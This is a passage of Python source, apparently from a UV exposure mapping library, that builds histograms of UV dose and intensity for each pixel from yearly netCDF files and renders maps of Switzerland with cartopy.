self.src_directory = src_directory\n\n # first we read the src_directory to check the total number of unique years available\n data_dir_contents = os.listdir(self.src_directory)\n\n # match filename format to find years\n dataset_years = [ x for x in data_dir_contents \n if re.findall(self.src_filename_format.replace(\"yyyy\",\"[1-2][0-9]{3}\"),x)]\n\n char_year = self.src_filename_format.find('yyyy')\n self.dataset_years = [ int(x[char_year:char_year+4]) for x in dataset_years ]\n\n self.bin_width = bin_width\n self.units = units\n\n # declare an empty dictionary for map options\n self.map_options={}\n # if any input, update dictionary\n if map_options is not None :\n self.map_options = self.map_options.update(map_options)\n\n\n def interpret_parameters(self) :\n \"\"\"Interprets some parameter inputs and adjusts for consistency\n\n This function will check that parameters are correctly entered and do some basic interpretation.\n It checks the exposure_schedule, year_selection, units, and bin_width input. All input is converted\n to lists as required.\n \"\"\"\n\n if hasattr(self,'exposure_schedule') and self.exposure_schedule is not None :\n if isinstance(self.exposure_schedule,float) :\n self.exposure_schedule = [np.repeat(self.exposure_schedule,24)]\n\n elif isinstance(self.exposure_schedule,int) :\n temp = self.exposure_schedule\n self.exposure_schedule = [np.zeros(24)]\n self.exposure_schedule[0][temp] = 1\n\n elif isinstance(self.exposure_schedule,dict) :\n temp = self.exposure_schedule\n self.exposure_schedule = [np.zeros(24)]\n for x in temp.items() :\n self.exposure_schedule[0][int(x[0])] = x[1] \n\n elif isinstance(self.exposure_schedule,np.ndarray) :\n if len(np.shape(self.exposure_schedule)) == 1 and np.shape(self.exposure_schedule)[0] == 24 :\n self.exposure_schedule = [self.exposure_schedule]\n elif len(np.shape(self.exposure_schedule)) == 2 and np.shape(self.exposure_schedule)[1] == 24 :\n # split an array of multiple schedules into a list of single schedule arrays\n self.exposure_schedule = np.split(self.exposure_schedule,np.shape(self.exposure_schedule)[0])\n else :\n raise ValueError(\"Exposure schedule not a comprehensible numpy array, \" +\n \"must be length 24 in first or second dimension\")\n\n elif isinstance(self.exposure_schedule,list) :\n if len(self.exposure_schedule) == 24 and all(isinstance(x,(int,float)) for x in self.exposure_schedule) :\n self.exposure_schedule = [np.array(self.exposure_schedule)]\n \n for i in range(len(self.exposure_schedule)) :\n if isinstance(self.exposure_schedule[i],float) :\n self.exposure_schedule[i] = np.repeat(self.exposure_schedule[i],24)\n\n elif isinstance(self.exposure_schedule[i],int) :\n temp = self.exposure_schedule[i]\n self.exposure_schedule[i] = np.zeros(24)\n self.exposure_schedule[i][temp] = 1\n\n elif isinstance(self.exposure_schedule[i],dict) :\n temp = self.exposure_schedule[i]\n self.exposure_schedule[i] = np.zeros(24)\n for x in temp.items() :\n self.exposure_schedule[i][int(x[0])] = x[1] \n\n elif isinstance(self.exposure_schedule[i],np.ndarray) :\n if not (len(np.shape(self.exposure_schedule[i])) == 1 \n and np.shape(self.exposure_schedule[i])[0] == 24 ):\n raise ValueError(\"Exposure schedule list contains an incomprehensible entry, \" + \n \"a numpy array that is not length 24\")\n \n elif isinstance(self.exposure_schedule[i],list) :\n if len(self.exposure_schedule[i]) == 24 :\n self.exposure_schedule[i] = np.array(self.exposure_schedule[i])\n else :\n raise ValueError(\"Exposure schedule list contains an incomprehensible entry, \" + \n \"a list that is not length 24\")\n \n else :\n raise TypeError(\"Exposure schedule list contains an incomprehensible entry\")\n\n else :\n raise TypeError(\"Exposure schedule must be a list of length-24 numpy arrays or similar\")\n ###################################################################################################### \n if hasattr(self,'year_selection') and self.year_selection is not None :\n if isinstance(self.year_selection,int) :\n if self.year_selection==0:\n self.year_selection = [np.array([x]) for x in self.dataset_years]\n else:\n self.year_selection = [np.array([self.year_selection])]\n elif isinstance(self.year_selection,np.ndarray) :\n if len(np.shape(self.year_selection)) == 1 :\n self.year_selection = [self.year_selection]\n else :\n raise ValueError(\"Year selection should be a list of numpy arrays, \" +\n \"provided numpy array has incomprehensible shape\")\n elif isinstance(self.year_selection,list) :\n if all([isinstance(x,int) for x in self.year_selection]) and all(x!=0 for x in self.year_selection) :\n self.year_selection = [np.array(self.year_selection)]\n else :\n i=0\n for k in range(len(self.year_selection)) :\n if isinstance(self.year_selection[i],int) :\n if self.year_selection[i] == 0 :\n temp = self.year_selection[0:i] + [np.array([x]) for x in self.dataset_years]\n if i != len(self.year_selection)-1 : \n temp = temp + self.year_selection[i+1:]\n self.year_selection = temp\n i = i + len(self.dataset_years) - 1\n else :\n self.year_selection[i] = np.array([self.year_selection[i]])\n elif isinstance(self.year_selection[i],list) :\n self.year_selection[i] = np.array(self.year_selection[i])\n elif not isinstance(self.year_selection[i],np.ndarray) :\n raise TypeError(\"Year selection list must contain ints, lists, or numpy arrays\")\n i=i+1\n else :\n raise TypeError(\"Year selection must be an int, numpy array, or list of numpy arrays\")\n\n for i in range(len(self.year_selection)) :\n if all(self.year_selection[i] == 0) :\n self.year_selection[i] = np.array(self.dataset_years)\n #####################################################################################################\n if hasattr(self,'units') and self.units is not None :\n if isinstance(self.units,str) :\n self.units = [self.units]\n elif isinstance(self.units,list) :\n if not all(isinstance(x,str) for x in self.units) :\n raise TypeError(\"Units input must be a list of strings\")\n else :\n raise TypeError(\"Units input must be a list of strings\")\n\n for i in range(len(self.units)) :\n if not isinstance(self.units[i],str) :\n raise TypeError(\"Units input must be a list of strings\")\n if self.units[i] not in [\"SED\",\"UVIh\",\"UVI\",\"J m-2\",\"W m-2\",\"mW m-2\"] :\n raise ValueError(\"Units input must be list of accepted unit strings, \" +\n \"those being SED, UVIh, J m-2, UVI, W m-2, or mW m-2\")\n\n\n if hasattr(self,'bin_width') :\n if self.bin_width is None :\n self.bin_width = []\n for unit in self.units :\n self.bin_width.append({\n \"SED\" : 0.1, \n \"J m-2\" : 10, \n \"UVI\" : 0.1, \n \"W m-2\" : 0.0025, \n \"mW m-2\" : 2.5\n }[unit])\n elif isinstance(self.bin_width,(int,float)) :\n self.bin_width = [self.bin_width]\n\n\n return self\n \n\n\n\n def collect_data(self,\n day_selection,\n exposure_schedule=[1.0],\n year_selection=[0],\n units=[\"SED\"],\n bin_width=None):\n \"\"\"Loads data into multiple pixel histograms\n\n This function loads all of the necessary data and compiles it into one or\n multiple histograms. All parameters are designed to be interpreted as lists\n of arrays or lists of strings, where each list entry corresponding to a \n different histogram in the sequence. So to create a sequence of maps \n corresponding to the months of the year, the day_selection input would be a\n list of 12 arrays, the first containing numbers from 1 to 31, the second\n containing numbers from 32 to 59, and so on.\n\n The user specifies the day_selection and the year_selection as two separate \n numerical inputs, rather than specifying dates. This make the interpretation\n of the sequence simpler. However, to simplify the user experience, the \n day_selection input can include keywords to be automatically interpreted as\n days of the year.\n\n\n Parameters\n ----------\n day_selection : list, str, array\n A list of arrays and/or strings. Keywords interpretable in such a list\n include the (english) names of the 12 months (at least the first three\n letters), the names of the four seasons (fall or autumn is accepted),\n or the words \"year\" or \"annual\" to indicate the full year. These \n keywords are replaced by the corresponding array of days in the year.\n Note that the 29th of February is removed from consideration should it \n arise. Note also that the seasons are the meteorological seasons, i.e.\n the three month blocks JJA, SON, DJF, and MAM for summer, autumn,\n winter, and spring respectively. \n \n The user can alternatively enter a special string instead of a list. \n The string \"monthly\" generates a list of 12 arrays according to the \n months whereas the string \"seasons\" generates a list of 4 arrays \n according to the four seasons. \n\n exposure_schedule : list, float, int, dict, array\n If the user enters a float, this float value will be repeated across a\n length-24 array to make the exposure schedule. For example, entering\n 1.0 (not 1) will generate an array of 24 ones.\n\n If the user enters an int, i, a length-24 array of zeroes will be \n generated with the ith entry being set to 1. For example, entering 1 \n (not 1.0) will generate an array that reads [0,1,0,0...] (length 24).\n\n If the user enters a dict, they can specify the values of a few \n particular entries in a length-24 array where unspecified entries have\n a value of zero. For example, entering {0:0.5, 2:0.8, 3:1} will \n generate and array the reads [0.5, 0, 0.8, 1, 0...] (length 24).\n\n If the user enters an array, it must be 1 dimensional with length 24\n or 2 dimensional with the second dimension having length 24 (allowing\n the user to specify multiple schedules).\n\n If the user enters a list, each entry of that list is interpreted using\n the rules listed above, with the caveat that arrays within a list cannot\n be 2 dimensional.\n \n\n year_selection : list, array, int\n The years across which the data should be pulled. Input should be a list\n of arrays of ints corresponding to years available in the dataset. Each\n list entry corresponds to a pixel histogram. The user can enter 0 as a\n shortcut for using all available years. For example, an input might be\n [numpy.arange(2010,2020),[0],0]. The first list entry is an array of a\n decade of years, straightforward enough. The second list entry is [0]. \n This is equivalent to writing numpy.arange(2004,2021) i.e. it produces \n an array of the available years of the dataset. The last entry is 0,\n this produces a sequence of individual years. So the input could be\n equivalently written as [numpy.arange(2010,2020),numpy.arange(2004,2021),\n numpy.array([2004]),numpy.array([2005]),numpy.array([2006])...] and so\n on until 2020.\n\n units : list, optional\n The list of units for each pixel histogram. Acceptable strings are \"SED\",\n \"J m-2\", \"UVIh\", \"UVI\", \"W m-2\", and \"mW m-2\". Defaults to SED.\n\n bin_width : list, optional\n The bin width for each histogram. By default, these values are defined\n automatically according to the units input. \n\n\n Returns\n -------\n ExposureMapSequence\n The object has the hist_specs and hists fields added detailing the pixel\n histograms.\n\n\n Example\n -------\n\n In this example, we produce a basic sequence of monthly average doses for 2020::\n\n example = ExposureMapSequence()\n example = example.collect_data('monthly',year_selection=[2020],units=[\"SED\"])\n example = example.calculate_maps(statistic='Mean')\n example.save_maps(save=True,show=True)\n\n In this example, we produce a basic sequence of annual average doses for each year\n of the dataset::\n\n example = ExposureMapSequence()\n example = example.collect_data(['annual'],year_selection=[0],units=[\"SED\"])\n example = example.calculate_maps(statistic='Mean')\n example.save_maps(save=True,show=True) \n\n \"\"\"\n\n # this subroutine handles keyword inputs (monthly, seasonal, etc)\n self.day_selection, self.day_input_flt, self.day_nonstring = str2daysofyear(day_selection)\n\n self.exposure_schedule = exposure_schedule\n\n self.year_selection = year_selection\n\n if units is not None :\n self.units = units\n \n if bin_width is not None :\n self.bin_width = bin_width\n\n self = self.interpret_parameters()\n\n ############################################################################\n\n lengths = {'day_selection' : len(self.day_selection),\n 'exposure_schedule' : len(self.exposure_schedule),\n 'year_selection' : len(self.year_selection),\n 'units' : len(self.units),\n 'bin_width' : len(self.bin_width)}\n\n self.num_hists = max(lengths.items(), key=lambda x: x[1])[1]\n assert all(x == self.num_hists or x == 1 for x in lengths.values()), (\n \"Inputs must be lists of length 1 or num_hists\")\n \n self.iterators = [x[0] for x in lengths.items() if x[1]==self.num_hists]\n\n\n self.hist_specs = []\n\n for i in range(self.num_hists) :\n hist_spec = {\n 'day_selection' : self.day_selection[0],\n 'exposure_schedule' : self.exposure_schedule[0],\n 'year_selection' : self.year_selection[0],\n 'units' : self.units[0],\n 'bin_width' : self.bin_width[0]}\n for x in self.iterators :\n hist_spec[x] = self.__dict__[x][i]\n self.hist_specs = self.hist_specs + [hist_spec]\n \n \n # find unique years to be loaded (probably all years but have to check)\n unique_years = set(self.year_selection[0])\n if len(self.year_selection) > 1 :\n for i in range(1,len(self.year_selection)) :\n unique_years.update(self.year_selection[i])\n unique_years = sorted(unique_years)\n\n # declare empty hists\n self.hists = [None for x in range(self.num_hists)]\n\n for i in range(len(unique_years)) :\n year = unique_years[i]\n print(\"Processing year \"+str(year)) #should use logging, don't yet know how\n dataset=nc.Dataset(self.src_directory+self.src_filename_format.replace('yyyy',str(year))) \n dataset.set_auto_mask(False) #to get normal arrays (faster than default masked arrays)\n\n if i == 0 :\n # TODO: this should also be done by some initial dataset analysis, but that's a drastic\n # design overhaul\n self.lat = dataset['lat'][:]\n self.lon = dataset['lon'][:]\n\n # now to determine the unique days for the specific year\n unique_days = set()\n for j in range(self.num_hists) :\n if year in self.hist_specs[j]['year_selection'] :\n unique_days.update(self.hist_specs[j]['day_selection'])\n unique_days = sorted(unique_days)\n\n # TODO: when metadata fixed, update this to actually interpret dates (cftime)\n # reformat to index for netCDF\n nc_day_sel = [False for i in range(365*24)] \n # reshape false array to have first dimension 24 (hours in day)\n nc_day_sel = assert_data_shape_24(nc_day_sel) \n # set the appropriate days as true\n nc_day_sel[:,np.array(unique_days)-1] = True \n # correct for leap years (skip feb 29)\n if year % 4 == 0 :\n nc_day_sel = np.concatenate(\n (nc_day_sel[:,0:59],np.full((24,1),False),nc_day_sel[:,59:]),axis=1)\n # flatten time_subset array back to one dimension\n nc_day_sel = nc_day_sel.flatten(order='F')\n\n #load data\n data_year = assert_data_shape_24(dataset['UV_AS'][nc_day_sel,:,:])\n\n #sort data into histograms\n for j in range(self.num_hists) :\n if year in self.hist_specs[j]['year_selection'] :\n sub_day_sel = [ True if x in self.hist_specs[j]['day_selection'] \n else False for x in unique_days ]\n temp_data = data_year[:,sub_day_sel,:,:]\n\n # Apply the exposure schedule, differently for doses vs intensity\n if self.hist_specs[j]['units'] in [\"SED\",\"J m-2\",\"UVIh\"] :\n # if calculating doses\n print(' Calculating doses')\n temp_data = np.sum(np.reshape(\n self.hist_specs[j]['exposure_schedule'],[24,1,1,1]) * temp_data,axis=0)\n # more complex when doing intensity\n else :\n # assume elsewise calculating intensity (i.e. UV-index) then limit data selection\n # to schedule (remembering that default schedule is just ones)\n print(' Slicing data with exposure schedule')\n # select only those hours with nonzero entry in exposure schedule\n temp_data = temp_data[self.hist_specs[j]['exposure_schedule'] != 0,:,:,:]\n # select nonzero values from exposure schedule\n exposure_schedule_nonzero = self.hist_specs[j]['exposure_schedule'][\n self.hist_specs[j]['exposure_schedule'] != 0]\n # if any nonzero entries aren't 1, multiply data accordingly\n if (exposure_schedule_nonzero != 1).any() :\n temp_data *= np.reshape(exposure_schedule_nonzero,[len(exposure_schedule_nonzero),1,1,1])\n # recombine first two dimensions (hour and day) back into time ready for histogram\n temp_data = assert_data_shape_24(temp_data,reverse=True) \n\n # now multiply data by conversion factor according to desired untis\n # TODO: Should expand upon this in reference files\n temp_data *= {\"SED\":0.9, \"J m-2\":90, \"UVIh\":1, \"UVI\":1, \"W m-2\":0.025, \"mW m-2\":25}[self.hist_specs[j]['units']]\n\n # if this is the first iteration, declare a hist\n if 'num_bins' not in self.hist_specs[j] :\n # seems like useful metadata to know bin n and edges\n self.hist_specs[j]['num_bins'] = int(np.nanmax(temp_data) // self.hist_specs[j]['bin_width'] ) + 2\n self.hist_specs[j]['bin_edges'] = (np.array(range(self.hist_specs[j]['num_bins']+1))\n - 0.5) * self.hist_specs[j]['bin_width'] \n # this form allows for weird custom bin edges, but probably will never use that\n self.hist_specs[j]['bin_centers'] = (self.hist_specs[j]['bin_edges'][:-1] \n + 0.5 * np.diff(self.hist_specs[j]['bin_edges']))\n\n # TODO: think about possible cases where dimensions could differ\n self.hists[j]=np.zeros([self.hist_specs[j]['num_bins'],\n np.shape(temp_data)[-2],np.shape(temp_data)[-1]], dtype=np.int16)\n\n else :\n new_num_bins = int(np.nanmax(temp_data) // self.hist_specs[j]['bin_width']) + 2 - self.hist_specs[j]['num_bins']\n # check if new data requires extra bins in pix_hist\n if new_num_bins > 0 :\n # append zeros to pix hist to make room for larger values\n self.hists[j] = np.concatenate((self.hists[j],np.zeros(\n [new_num_bins,np.shape(self.hists[j])[-2],np.shape(self.hists[j])[-1]],\n dtype=np.int16)),axis=0)\n # update bin information\n self.hist_specs[j]['num_bins'] = self.hist_specs[j]['num_bins'] + new_num_bins\n self.hist_specs[j]['bin_edges'] = (np.array(range(self.hist_specs[j]['num_bins']+1))\n - 0.5) * self.hist_specs[j]['bin_width'] \n self.hist_specs[j]['bin_centers'] = (self.hist_specs[j]['bin_edges'][:-1] \n + 0.5 * np.diff(self.hist_specs[j]['bin_edges']))\n\n # TODO: Add check in case bins get \"full\" (i.e. approach int16 max value)\n # now put data into hist using apply_along_axis to perform histogram for each pixel\n print(\" Calculating and adding to pixel histograms\")\n self.hists[j][:,:,:] += np.apply_along_axis(lambda x: \n np.histogram(x,bins=self.hist_specs[j]['bin_edges'])[0],0,temp_data)\n\n return self \n\n\n\n\n\n\n def calculate_maps(self,statistic=None,titles=None,filenames=\"auto\") :\n \"\"\"Calcualte the maps from the pixel histograms \n\n This function calculates maps from the pixel histograms and generates\n titles and filenames for each map. Note that the number of maps can\n be greater than the number of pixel histograms if more than one \n statistic is specified.\n\n\n Parameters\n ----------\n statistic : list, str\n The statistical descriptor to be calculated from the pixel histograms to be later \n represented on the rendered map. Must contain at least one of these keywords:\n \"mean\", \"median\" or \"med\", \"sd\" or \"std\" or \"stdev\", \"max\" or \"maximum\", \"min\" or \n \"minimum\". The keyword \"prct\" or \"percentile\" is also accepted so long as it is\n preceded by a two-digit integer specifying the desired percentile from 01 to 99.\n\n *Planned:* the string can be a formula using any of the keywords above, and \n basic mathematical operators (+, -, *, /, **) and numeric factors. \n\n titles : list, optional\n If the user does not wish to use the automatically generated map titles,\n they can enter them with this parameter. This must be a list of strings\n with a length equal to the number of maps produced.\n\n filenames : str, optional\n Filenames are generated to match the titles by default, but the user can\n alternatively enter them manually with this parameter.\n\n\n Returns\n -------\n ExposureMapSequence\n The object is appended with maps, map_specs, and num_maps fields.\n\n\n Example\n -------\n\n In this example, we produce a basic sequence of annual average doses for each year\n of the dataset::\n\n example = ExposureMapSequence()\n example = example.collect_data(['annual'],year_selection=[0],units=[\"SED\"])\n example = example.calculate_maps(statistic='Mean')\n example.save_maps(save=True,show=True) \n\n \"\"\"\n\n if statistic is not None :\n self.statistic = statistic\n\n if isinstance(self.statistic,str) :\n self.statistic = [self.statistic]\n \n # declare array of nans to fill with maps\n self.maps = np.full([self.num_hists * len(self.statistic)] + \n list(np.shape(self.hists[0])[1:]),np.nan)\n\n if titles is not None :\n self.titles = titles\n else :\n self.titles = [str(x) for x in range(self.num_hists * len(self.statistic))]\n\n if isinstance(filenames,str) and filenames == \"auto\" :\n self.filenames = [str(x) for x in range(self.num_hists * len(self.statistic))]\n else :\n self.filenames = filenames\n\n\n mapnum = 0\n hist_inds = []\n stat_inds = []\n for i in range(len(self.statistic)) :\n for j in range(self.num_hists) :\n \n self.maps[mapnum,:,:] = calculate_map_from_hists(\n self.hists[j],self.statistic[i],self.hist_specs[j]['bin_centers'])\n\n if titles is None :\n if filenames == \"auto\" :\n self.titles[mapnum], self.filenames[mapnum] = gen_map_title(**{\n **self.hist_specs[j],\n 'statistic':self.statistic[i]},filename=True)\n else :\n self.titles[mapnum] = gen_map_title(**{\n **self.hist_specs[j],\n 'statistic':self.statistic[i]},filename=False)\n\n hist_inds = hist_inds + [j]\n stat_inds = stat_inds + [i]\n\n mapnum += 1\n\n self.num_maps = mapnum\n\n self.map_specs = {'hist' : hist_inds, 'statistic' : stat_inds}\n\n return self\n\n\n\n\n def save_maps(self,map_options=None,save=None,show=True,match_cmap_limits=True,schedule_diagram=True) :\n \"\"\"Renders and saves the pre-calculated maps stored in the object\n\n With the maps calculated, this function renders the maps with broad flexibility on aesthetic \n options. It is mostly a wrapper for the render_map function.\n\n\n Parameters\n ----------\n map_options : dict, optional\n A dictionary containing options for the render map function.\n\n save : bool, optional\n Although technically contained within map_options, this option is here so users can\n more easily say whether they want the images to be saved or not.\n\n show : bool, optional\n An option to show the maps in a python figure window or not.\n\n match_cmap_limits : bool, optional\n When producing multiple maps, it can sometimes be desirable for the colormap limits\n to be consistent across the set of images. This boolean enables that.\n\n schedule_diagram : bool, optional\n If true, a circular diagram is rendered on the map illustrating the schedule that\n generated the map.\n\n \"\"\"\n\n if map_options is not None :\n self.map_options.update(map_options)\n\n if save is not None and isinstance(save,bool) :\n self.map_options['save'] = save\n\n if match_cmap_limits :\n self.map_options['cmap_limits'] = [np.nanmin(self.maps),np.nanmax(self.maps)]\n if self.map_options['cmap_limits'][0] < 0.1 * self.map_options['cmap_limits'][1] :\n self.map_options['cmap_limits'][0] = 0\n\n for i in range(self.num_maps) :\n opts = self.map_options\n opts['title'] = self.titles[i]\n if self.filenames is not None :\n opts['img_filename'] = self.filenames[i]\n if schedule_diagram :\n opts['schedule'] = self.hist_specs[self.map_specs['hist'][i]]['exposure_schedule']\n render_map(\n self.maps[i,:,:],\n lat=self.lat,\n lon=self.lon,\n cbar_label=self.hist_specs[self.map_specs['hist'][i]]['units'],\n show=show,\n **opts)\n\n\n\n\n\n\n\ndef render_map(map,\nlat=None,\nlon=None,\ntitle=None,\nsave=True,\nshow=True,\nschedule=None,\nschedule_bbox=(-0.03,0,1,0.91),\nimg_filename=None,\nimg_dir=\"\",\nimg_size=[20,15],\nimg_dpi=300,\nimg_filetype=\"png\",\nbrdr_nation=True,\nbrdr_nation_rgba=[0,0,0,1],\nbrdr_state=True,\nbrdr_state_rgba=[0,0,0,0.75],\ncmap=\"gist_ncar\",\ncmap_limits=None,\ncbar=True,\ncbar_limits=None,\ncbar_label=None,\ncountry_focus=\"CHE\",\ngridlines=True,\ngridlines_dms=False,\nmch_logo=True) :\n \"\"\"Renders and saves maps\n\n Renders and saves maps with a wide variety of aesthetic options.\n\n Parameters\n ----------\n map : array\n The map to be rendered\n lat : [type], optional\n [description], by default None\n lon : [type], optional\n [description], by default None\n title : [type], optional\n [description], by default None\n save : bool, optional\n [description], by default True\n show : bool, optional\n [description], by default True\n schedule : [type], optional\n [description], by default None\n schedule_bbox : tuple, optional\n [description], by default (-0.03,0,1,0.91)\n img_filename : [type], optional\n [description], by default None\n img_dir : str, optional\n [description], by default \"\"\n img_size : list, optional\n [description], by default [20,15]\n img_dpi : int, optional\n [description], by default 300\n img_filetype : str, optional\n [description], by default \"png\"\n brdr_nation : bool, optional\n [description], by default True\n brdr_nation_rgba : list, optional\n [description], by default [0,0,0,1]\n brdr_state : bool, optional\n [description], by default True\n brdr_state_rgba : list, optional\n [description], by default [0,0,0,0.75]\n cmap : str, optional\n [description], by default \"gist_ncar\"\n cmap_limits : [type], optional\n [description], by default None\n cbar : bool, optional\n [description], by default True\n cbar_limits : [type], optional\n [description], by default None\n cbar_label : [type], optional\n [description], by default None\n country_focus : str, optional\n [description], by default \"CHE\"\n gridlines : bool, optional\n [description], by default True\n gridlines_dms : bool, optional\n [description], by default False\n mch_logo : bool, optional\n [description], by default True\n \"\"\"\n\n # TODO: Add custom sizing and resolution specifications\n fig = plt.figure(figsize=(img_size[0]/2.54,img_size[1]/2.54))\n\n # TODO: Accept custom projections\n # proj = ccrs.Mercator()\n proj = ccrs.Orthographic(central_longitude=(lon[0]+lon[-1])/2, central_latitude=(lat[0]+lat[-1])/2)\n\n # TODO: Add support for multiple plots per figure (too complex? consider use cases)\n ax = fig.add_subplot(1,1,1,projection = proj)\n\n # TODO: Increase flexibility of borders consideration\n if brdr_state :\n state_brdrs = cfeat.NaturalEarthFeature(\n category='cultural',\n name='admin_1_states_provinces_lines',\n scale='10m',\n facecolor='none')\n ax.add_feature(state_brdrs,linestyle=\"--\",edgecolor=tuple(brdr_state_rgba),linewidth=0.5)\n if brdr_nation :\n ax.add_feature(cfeat.BORDERS,edgecolor=tuple(brdr_nation_rgba))\n\n if country_focus is not None :\n shpfilename = shapereader.natural_earth(resolution='10m',\n category='cultural',name='admin_0_countries')\n reader = shapereader.Reader(shpfilename)\n countries = reader.records() \n # this is a very janky search for Switzerland, but it's ultimately simpler than\n # making geopandas a requirement for the library\n for country in countries :\n if country.attributes['ADM0_A3'] == country_focus :\n break\n assert country.attributes['ADM0_A3'] == country_focus, \"country_focus input not recognised\"\n poly = country.geometry\n\n msk_proj = proj.project_geometry (poly, ccrs.Geodetic()) # project geometry to the projection used by stamen\n\n # plot the mask using semi-transparency (alpha=0.65) on the masked-out portion\n ax.add_geometries( msk_proj, proj, facecolor='white', edgecolor='none', alpha=0.8)\n\n # TODO: Consider first-last versus min-max - how can we avoid accidentally flipping images\n extents=[lon[0],lon[-1],lat[0],lat[-1]]\n ax.set_extent(extents,crs=ccrs.Geodetic())\n\n # this code correctly translate the lat/lon limits into the projected coordinates\n extents_proj = proj.transform_points(ccrs.Geodetic(),np.array(extents[:2]),np.array(extents[2:]))\n extents_proj = extents_proj[:,:2].flatten(order='F')\n\n if gridlines :\n ax.gridlines(draw_labels=True, dms=gridlines_dms, x_inline=False, y_inline=False,linewidth=0.25,\n ylocs=[46,46.5,47,47.5])\n\n # TODO: Custom colormaps, interpolation, cropping\n\n # Upscale matrix for better reprojection\n # f = interp2d(lon, lat, map, kind='linear')\n # latnew = np.linspace(lat[0], lat[-1], (len(lat)-1)*3+1)\n # lonnew = np.linspace(lon[0], lon[-1], (len(lon)-1)*3+1)\n # mapnew = f(lonnew, latnew)\n\n # Upscale matrix for better reprojection\n mapnew = zoom(map,3)\n\n # show map with given cmap and set cmap limits\n im = ax.imshow(mapnew,extent=extents,transform=ccrs.PlateCarree(),\n origin='lower',cmap=cmap)\n if cmap_limits is not None :\n im.set_clim(cmap_limits[0],cmap_limits[1])\n\n # colorbar\n # TODO: Add support for horizontal vertical option\n if cbar :\n cb = plt.colorbar(im, ax=ax, orientation='horizontal',pad=0.05,fraction=0.05)\n cb.ax.set_xlabel(cbar_label)\n\n # show schedule diagram\n if schedule is not None :\n ax2 = inset_axes(ax, width=\"25%\", height=\"25%\", loc=2,\n axes_class = get_projection_class('polar'),\n bbox_to_anchor=tuple(schedule_bbox),\n bbox_transform=ax.transAxes)\n schedule_clock(ax2,schedule,title=\"Exposure schedule\")\n\n # TODO: Add more advanced title interpretation (i.e. smart date placeholder)\n if title is not None :\n ax.set_title(title)\n\n if mch_logo :\n ex = ax.get_extent()\n mch_logo_img = plt.imread('python_tamer/mch_logo.png')\n mch_logo_width = 0.15\n mch_logo_pad = 0\n # some maths to work out position, note image aspect ratio 5:1\n mch_extents = [ex[1]-(ex[1]-ex[0])*mch_logo_width-(ex[1]-ex[0])*mch_logo_pad,\n ex[1]-(ex[1]-ex[0])*mch_logo_pad,\n ex[2]+(ex[3]-ex[2])*mch_logo_pad,\n ex[2]+0.2*(ex[1]-ex[0])*mch_logo_width+(ex[3]-ex[2])*mch_logo_pad]\n # zorder puts image on top (behind mask otherwise for some reason)\n ax.imshow(mch_logo_img,extent=mch_extents,zorder=12)\n\n # TODO: Add plot title, small textbox description, copyright from dataset, ticks and gridlines\n if save :\n # Generate timestamp filename if relying on default\n if img_filename is None :\n if title is not None :\n img_filename = format_filename(title)\n else :\n img_filename=dt.datetime.now().strftime('%Y%m%d_%H%M%S_%f')\n elif img_filename == \"timestamp\" :\n img_filename=dt.datetime.now().strftime('%Y%m%d_%H%M%S_%f')\n\n plt.savefig(img_dir+img_filename+\".\"+img_filetype,\n bbox_inches=\"tight\",dpi=img_dpi)\n\n if show :\n plt.show()\n\n\ndef schedule_clock(axes,schedule,title=None,title_size=9,center=0.25,rmax=1) :\n \"\"\"Generates a clock-style representation of an exposure schedule\n\n [extended_summary]\n\n Parameters\n ----------\n axes : matplotlib.axes.Axes\n The polar axes upon which the clock will be plotted\n schedule : list or numpy.ndarray\n The exposure schedule - a length-24 vector of hourly exposure proportions\n title : str, optional\n Title of the exposure clock\n title_size : int, optional\n [description], by default 9\n center : float, optional\n [description], by default 0.25\n rmax : int, optional\n [description], by default 1\n\n Returns\n -------\n [type]\n [description]\n \"\"\"\n axes.bar(\n np.arange(24)/24*2*np.pi, \n schedule,\n width=2*np.pi/24,\n align='edge',\n bottom=center) \n axes.bar(0,0.25,width=2*np.pi,color='k') \n # Set the circumference labels\n axes.set_xticks(np.linspace(0, 2*np.pi, 8, endpoint=False))\n axes.set_xticklabels(np.linspace(0, 24, 8, endpoint=False,dtype=int),fontsize=8) \n axes.tick_params(axis='both',which='major', pad=-3)\n axes.set_yticks([0.5+center])\n axes.set_yticklabels(['0.5'],fontsize=5)\n axes.grid(True,color='black',linewidth=0.25)\n # Make the labels go clockwise\n axes.set_theta_direction(-1) \n # Place 0 at the top\n axes.set_theta_offset(np.pi/2) \n # format grid and fake ticks\n for t in np.linspace(0, 2*np.pi, 24, endpoint=False):\n axes.plot([t,t], np.array([0.95,1.1])*rmax+center, lw=0.5, color=\"k\")\n for t in np.linspace(0, 2*np.pi, 8, endpoint=False):\n axes.plot([t,t], np.array([0.9,1.1])*rmax+center, color=\"k\") \n if title is not None :\n axes.set_title(title,fontsize=title_size) \n axes.set_rmax(rmax+center)\n\n return axes\n\n\ndef gen_map_title(\nstatistic = None,\nexposure_schedule=None,\nhour=None,\nunits=None,\nyear_selection=None,\nday_selection=None,\nfilename=False,\n**kwargs) :\n\n if units in ['SED','J m-2','UVIh'] :\n if all(exposure_schedule == np.ones(24)) :\n title = 'UV daily doses'\n else :\n title = 'UV doses'\n elif units in ['W m-2','UVI','mW m-2'] :\n if np.sum(exposure_schedule)==1 and all(x in [0,1] for x in exposure_schedule) :\n #user chosen just one hour\n hour=np.where(exposure_schedule)[0][0]\n title = 'UV intensity between ' + str(hour) + 'h-' + str(hour+1) + 'h'\n else :\n title = 'UV intensity'\n else :\n raise ValueError('Units must be SED, J m-2, UVIh, UVI, W m-2, or mW m-2')\n \n title = statistic + ' of ' + title\n\n ayear = pd.date_range(start=\"2010-01-01\",end=\"2010-12-31\")\n ds = {'year' : ayear.dayofyear.values.tolist()}\n ds['winter (DJF)'] = [x for i in [12,1,2] for x in ayear[ayear.month == i].dayofyear.values.tolist()]\n ds['spring (MAM)'] = [x for i in [3,4,5] for x in ayear[ayear.month == i].dayofyear.values.tolist()]\n ds['summer (JJA)'] = [x for i in [6,7,8] for x in ayear[ayear.month == i].dayofyear.values.tolist()]\n ds['autumn (SON)'] = [x for i in [9,10,11] for x in ayear[ayear.month == i].dayofyear.values.tolist()]\n ds['January'] = ayear[ayear.month == 1].dayofyear.values.tolist()\n ds[\"February\"] = ayear[ayear.month == 2].dayofyear.values.tolist()\n ds[\"March\"] = ayear[ayear.month == 3].dayofyear.values.tolist()\n ds[\"April\"] = ayear[ayear.month == 4].dayofyear.values.tolist()\n ds[\"May\"] = ayear[ayear.month == 5].dayofyear.values.tolist()\n ds[\"June\"] = ayear[ayear.month == 6].dayofyear.values.tolist()\n ds[\"July\"] = ayear[ayear.month == 